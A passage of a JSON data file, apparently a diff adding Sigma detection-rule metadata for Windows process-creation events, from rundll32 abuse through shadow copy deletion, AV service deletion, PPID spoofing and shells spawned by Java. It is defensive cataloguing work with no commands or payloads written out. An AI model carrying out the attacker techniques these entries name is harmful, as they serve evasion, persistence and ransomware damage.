"d4ca7c59-e9e4-42d8-bf57-91a776efcb87", + "value": "Rundll32 From Abnormal Drive", + "meta": { + "refs": [ + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_not_from_c_drive.yml" + ], + "tags": [ + "attack.t1218.001" + ], + "creation_date": "2022/01/25", + "filename": "proc_creation_win_rundll32_not_from_c_drive.yml", + "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", + "level": "medium", + "falsepositive": [ + "Rare false positives could occur on servers with multiple drives." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious start of rundll32.exe with a parent process of Explorer.exe. Variant of Raspberry Robin, as first reported by Red Canary.", + "uuid": "1723e720-616d-4ddc-ab02-f7e3685a4713", + "value": "Rundll32 With Suspicious Parent Process", + "meta": { + "refs": [ + "https://redcanary.com/blog/raspberry-robin/", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_parent_explorer.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/05/21", + "filename": "proc_creation_win_rundll32_parent_explorer.yml", + "author": "CD_ROM_", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "load malicious registered COM objects", + "uuid": "f1edd233-30b5-4823-9e6a-c4171b24d316", + "value": "Rundll32 Registered COM Objects", + "meta": { + "refs": [ + "https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_registered_com_objects.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2022/02/13", + "filename": "proc_creation_win_rundll32_registered_com_objects.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects rundll32 execution where the DLL is located on a remote location (share)", + "uuid": "5cdb711b-5740-4fb2-ba88-f7945027afac", + "value": "Rundll32 UNC Path Execution", + "meta": { + "refs": [ + "https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_unc_path.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1021.002", + "attack.t1218.011" + ], + "creation_date": "2022/08/10", + "filename": "proc_creation_win_rundll32_unc_path.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module", + "uuid": "5bb68627-3198-40ca-b458-49f973db8752", + "value": "Rundll32 Without Parameters", + "meta": { + "refs": [ + "https://bczyz1.github.io/2021/01/30/psexec.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_without_parameters.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1570", + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2021/01/31", + "filename": "proc_creation_win_rundll32_without_parameters.yml", + "author": "Bartlomiej Czyz, Relativity", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of rundll32 with a command line that doesn't contain a .dll file", + "uuid": "c3a99af4-35a9-4668-879e-c09aeb4f2bdf", + "value": "Rundll32 Execution Without DLL File", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1481630810495139841?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_executable_invalid_extension.yml" + ], + "tags": "No established tags", + "creation_date": "2022/01/13", + "filename": "proc_creation_win_run_executable_invalid_extension.yml", + "author": "Tim Shelton, Florian Roth, Yassine Oukessou (fix + fp)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Payloads may be compressed, archived, or encrypted in order to avoid detection", + "uuid": "1a70042a-6622-4a2b-8958-267625349abf", + "value": "Run from a Zip File", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md#atomic-test-4---execution-from-compressed-file", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_from_zip.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2021/12/26", + "filename": "proc_creation_win_run_from_zip.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell script execution from Alternate Data Stream (ADS)", + "uuid": "45a594aa-1fbd-4972-a809-ff5a99dd81b8", + "value": "Run PowerShell Script from ADS", + "meta": { + "refs": [ + "https://github.com/p0shkatz/Get-ADS/blob/1c3a3562e713c254edce1995a7d9879c687c7473/Get-ADS.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_powershell_script_from_ads.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2019/10/30", + "filename": "proc_creation_win_run_powershell_script_from_ads.yml", + "author": "Sergey Soldatov, Kaspersky Lab, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects PowerShell script execution via input stream redirect", + "uuid": "c83bf4b5-cdf0-437c-90fa-43d734f7c476", + "value": "Run PowerShell Script from Redirected Input Stream", + "meta": { + "refs": [ + "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Powershell.yml", + "https://twitter.com/Moriarty_Meng/status/984380793383370752", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_powershell_script_from_input_stream.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1059" + ], + "creation_date": "2020/10/17", + "filename": "proc_creation_win_run_powershell_script_from_input_stream.yml", + "author": "Moriarty Meng (idea), Anton Kutepov (rule), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.", + "uuid": "bab049ca-7471-4828-9024-38279a4c04da", + "value": "Detect Virtualbox Driver Installation OR Starting Of VMs", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1564/006/", + "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/", + "https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_run_virtualbox.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.006", + "attack.t1564" + ], + "creation_date": "2020/09/26", + "filename": "proc_creation_win_run_virtualbox.yml", + "author": "Janantha Marasinghe", + "level": "low", + "falsepositive": [ + "This may have false positives on hosts where Virtualbox is legitimately being used for operations" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a schtask that executes a file from C:\\Users\\\\AppData\\Local", + "uuid": "c5c00f49-b3f9-45a6-997e-cfdecc6e1967", + "value": "Suspicious Schtasks Execution AppData Folder", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_appdata_local_system.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1053.005", + "attack.t1059.001" + ], + "creation_date": "2022/03/15", + "filename": "proc_creation_win_schtasks_appdata_local_system.yml", + "author": "pH-T, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects scheduled task creation events that include suspicious actions, and is run once at 00:00", + "uuid": "970823b7-273b-460a-8afc-3a6811998529", + "value": "Uncommon Scheduled Task Once 00:00", + "meta": { + "refs": [ + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_once_0000.yml" + ], + "tags": "No established tags", + "creation_date": "2022/07/15", + "filename": "proc_creation_win_schtasks_once_0000.yml", + "author": "pH-T", + "level": "high", + "falsepositive": [ + "Software installation" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious powershell execution that ends with a common flag instead of a command or a filename to execute (could be a sign of implicit execution that uses files in WindowsApps directory)", + "uuid": "b66474aa-bd92-4333-a16c-298155b120df", + "value": "Suspicious Powershell No File or Command", + "meta": { + "refs": [ + "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_powershell_windowsapps_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1053.005", + "attack.t1059.001" + ], + "creation_date": "2022/04/08", + "filename": "proc_creation_win_schtasks_powershell_windowsapps_execution.yml", + "author": "pH-T, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a schtask that executes a base64 encoded payload stored in the Windows Registry using PowerShell.", + "uuid": "c4eeeeae-89f4-43a7-8b48-8d1bdfa66c78", + "value": "Scheduled Task Executing Powershell Encoded Payload from Registry", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1053.005", + "attack.t1059.001" + ], + "creation_date": "2022/02/12", + "filename": "proc_creation_win_schtasks_reg_loader.yml", + "author": "@Kostastsale, @TheDFIRReport, slightly modified by pH-T", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation or update of a scheduled task to run with \"NT AUTHORITY\\SYSTEM\" privileges", + "uuid": "89ca78fd-b37c-4310-b3d3-81a023f83936", + "value": "Schtasks Creation Or Modification With SYSTEM Privileges", + "meta": { + "refs": [ + "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_system.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.t1053.005" + ], + "creation_date": "2022/07/28", + "filename": "proc_creation_win_schtasks_system.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "57bff678-25d1-4d6c-8211-8ca106d12053", + "value": "Use of ScreenConnect Remote Access Software", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_screenconnect.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/13", + "filename": "proc_creation_win_screenconnect.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate usage of the tool" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious sub processes started by the ScreenConnect client service, which indicates the use of the so-called Backstage mode", + "uuid": "7b582f1a-b318-4c6a-bf4e-66fe49bf55a5", + "value": "ScreenConnect Backstage Mode Anomaly", + "meta": { + "refs": [ + "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", + "https://docs.connectwise.com/ConnectWise_Control_Documentation/Get_started/Host_client/View_menu/Backstage_mode", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_screenconnect_anomaly.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/25", + "filename": "proc_creation_win_screenconnect_anomaly.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Case in which administrators are allowed to use ScreenConnect's Backstage mode" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious child process of Script Event Consumer (scrcons.exe).", + "uuid": "f6d1dd2f-b8ce-40ca-bc23-062efb686b34", + "value": "Script Event Consumer Spawning Process", + "meta": { + "refs": [ + "https://redcanary.com/blog/child-processes/", + "https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/scrcons-exe-rare-child-process.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_script_event_consumer_spawn.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2021/06/21", + "filename": "proc_creation_win_script_event_consumer_spawn.yml", + "author": "Sittikorn S", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects when attackers use \"sc.exe\" to delete AV services from the system in order to avoid detection", + "uuid": "7fd4bb39-12d0-45ab-bb36-cebabc73dc7b", + "value": "Suspicious Execution of Sc to Delete AV Services", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_delete_av_services.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/01", + "filename": "proc_creation_win_sc_delete_av_services.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate software deleting using the same method of deletion (Add it to a filter if you find cases as such)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of \"sc.exe\" to query information about registered services on the system", + "uuid": "57712d7a-679c-4a41-a913-87e7175ae429", + "value": "SC.EXE Query Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-1---system-service-discovery", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_query.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1007" + ], + "creation_date": "2021/12/06", + "filename": "proc_creation_win_sc_query.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate query of a service by an administrator to get more information such as the state or PID" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects installation of a new shim using sdbinst.exe. A shim can be used to load malicious DLLs into applications.", + "uuid": "517490a7-115a-48c6-8862-1a481504d5a8", + "value": "Possible Shim Database Persistence via sdbinst.exe", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdbinst_shim_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.011" + ], + "creation_date": "2019/01/16", + "filename": "proc_creation_win_sdbinst_shim_persistence.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques.", + "uuid": "da2738f2-fadb-4394-afa7-0a0674885afa", + "value": "Sdclt Child Processes", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/6", + "https://threathunterplaybook.com/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdclt_child_process.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2020/05/02", + "filename": "proc_creation_win_sdclt_child_process.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of SDelete to erase a file not the free space", + "uuid": "a4824fca-976f-4964-b334-0621379e84c4", + "value": "Sysinternals SDelete Delete File", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdelete.yml" + ], + "tags": [ + "attack.impact", + "attack.t1485" + ], + "creation_date": "2021/06/03", + "filename": "proc_creation_win_sdelete.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "System administrator usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190)", + "uuid": "f3d39c45-de1a-4486-a687-ab126124f744", + "value": "Sdiagnhost Calling Suspicious Child Process", + "meta": { + "refs": [ + "https://twitter.com/nao_sec/status/1530196847679401984", + "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", + "https://app.any.run/tasks/f420d295-0457-4e9b-9b9e-6732be227583/", + "https://app.any.run/tasks/c4117d9a-f463-461a-b90f-4cd258746798/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdiagnhost_susp_child.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036", + "attack.t1218" + ], + "creation_date": "2022/06/01", + "filename": "proc_creation_win_sdiagnhost_susp_child.yml", + "author": "Nextron Systems", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent", + "uuid": "52ff7941-8211-46f9-84f8-9903efb7077d", + "value": "PPID Spoofing Tool Usage", + "meta": { + "refs": [ + "https://pentestlab.blog/2020/02/24/parent-pid-spoofing/", + "https://www.picussecurity.com/resource/blog/how-to-detect-parent-pid-ppid-spoofing-attacks", + "https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing", + "https://www.virustotal.com/gui/search/filename%253A*spoof*%2520filename%253A*ppid*/files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_selectmyparent.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1134.004" + ], + "creation_date": "2022/07/23", + "filename": "proc_creation_win_selectmyparent.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects manual service execution (start) via system utilities.", + "uuid": "2a072a96-a086-49fa-bcb5-15cc5a619093", + "value": "Service Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1569.002/T1569.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_service_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_service_execution.yml", + "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administrator or user executes a service for legitimate reasons." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a windows service to be stopped", + "uuid": "eb87818d-db5d-49cc-a987-d5da331fbd90", + "value": "Stop Windows Service", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_service_stop.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ], + "creation_date": "2019/10/23", + "filename": "proc_creation_win_service_stop.yml", + "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali", + "level": "low", + "falsepositive": [ + "Administrator shutting down the service due to upgrade or removal purposes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of executionpolicy option to set insecure policies", + "uuid": "87e3c4e8-a6a8-4ad9-bb4f-46e7ff99a180", + "value": "Change PowerShell Policies to an Insecure Level", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", + "https://adsecurity.org/?p=2604", + "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_set_policies_to_unsecure_level.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2021/11/01", + "filename": "proc_creation_win_set_policies_to_unsecure_level.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrator script" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", + "uuid": "21ff4ca9-f13a-41ad-b828-0077b2af2e40", + "value": "Deletion of Volume Shadow Copies via WMI with PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadowcopy_deletion_via_powershell.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2022/09/20", + "filename": "proc_creation_win_shadowcopy_deletion_via_powershell.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Shadow Copies storage symbolic link creation using operating systems utilities", + "uuid": "40b19fa6-d835-400c-b301-41f3a2baacaf", + "value": "Shadow Copies Access via Symlink", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_access_symlink.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.002", + "attack.t1003.003" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_shadow_copies_access_symlink.yml", + "author": "Teymur Kheirkhabarov, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administrator working with shadow copies, access for backup purposes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Shadow Copies creation using operating systems utilities, possible credential access", + "uuid": "b17ea6f7-6e90-447e-a799-e6c0a493d6ce", + "value": "Shadow Copies Creation Using Operating Systems Utilities", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tutorial-for-ntds-goodness-vssadmin-wmis-ntdsdit-system/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_creation.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1003.002", + "attack.t1003.003" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_shadow_copies_creation.yml", + "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administrator working with shadow copies, access for backup purposes" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Shadow Copies deletion using operating systems utilities", + "uuid": "c947b146-0abc-4c87-9c64-b17e9d7274a2", + "value": "Shadow Copies Deletion Using Operating Systems Utilities", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://blog.talosintelligence.com/2017/05/wannacry.html", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/new-teslacrypt-ransomware-arrives-via-spam/", + "https://www.bleepingcomputer.com/news/security/why-everyone-should-disable-vssadmin-exe-now/", + "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", + "https://github.com/Neo23x0/Raccine#the-process", + "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/gen_ransomware_command_lines.yar", + "https://redcanary.com/blog/intelligence-insights-october-2021/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.impact", + "attack.t1070", + "attack.t1490" + ], + "creation_date": "2019/10/22", + "filename": "proc_creation_win_shadow_copies_deletion.yml", + "author": "Florian Roth, Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades)", + "level": "high", + "falsepositive": [ + "Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason", + "LANDesk LDClient Ivanti-PSModule (PS EncodedCommand)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of SharpUp, a tool for local privilege escalation", + "uuid": "c484e533-ee16-4a93-b6ac-f0ea4868b2f1", + "value": "SharpUp PrivEsc Tool", + "meta": { + "refs": [ + "https://github.com/GhostPack/SharpUp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharpup.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1615", + "attack.t1569.002", + "attack.t1574.005" + ], + "creation_date": "2022/08/20", + "filename": "proc_creation_win_sharpup.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the Sharp Chisel via the commandline arguments", + "uuid": "cf93e05e-d798-4d9e-b522-b0248dc61eaf", + "value": "SharpChisel Usage", + "meta": { + "refs": [ + "https://github.com/shantanu561993/SharpChisel", + "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharp_chisel_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090.001" + ], + "creation_date": "2022/09/05", + "filename": "proc_creation_win_sharp_chisel_usage.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Some false positives may occure with other tools with similar commandlines" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)", + "uuid": "dff1e1cc-d3fd-47c8-bfc2-aeb878a754c0", + "value": "Shells Spawned by Java", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shell_spawn_by_java.yml" + ], + "tags": [ + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" + ], + "creation_date": "2021/12/17", + "filename": "proc_creation_win_shell_spawn_by_java.yml", + "author": "Andreas Hunkeler (@Karneades), Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate calls to system binaries", + "Company specific internal usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious child process of a Windows shell", + "uuid": "3a6586ad-127a-4d3b-a677-1e6eacdf8fde", + "value": "Windows Shell Spawning Suspicious Program", + "meta": { + "refs": [ + "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", + 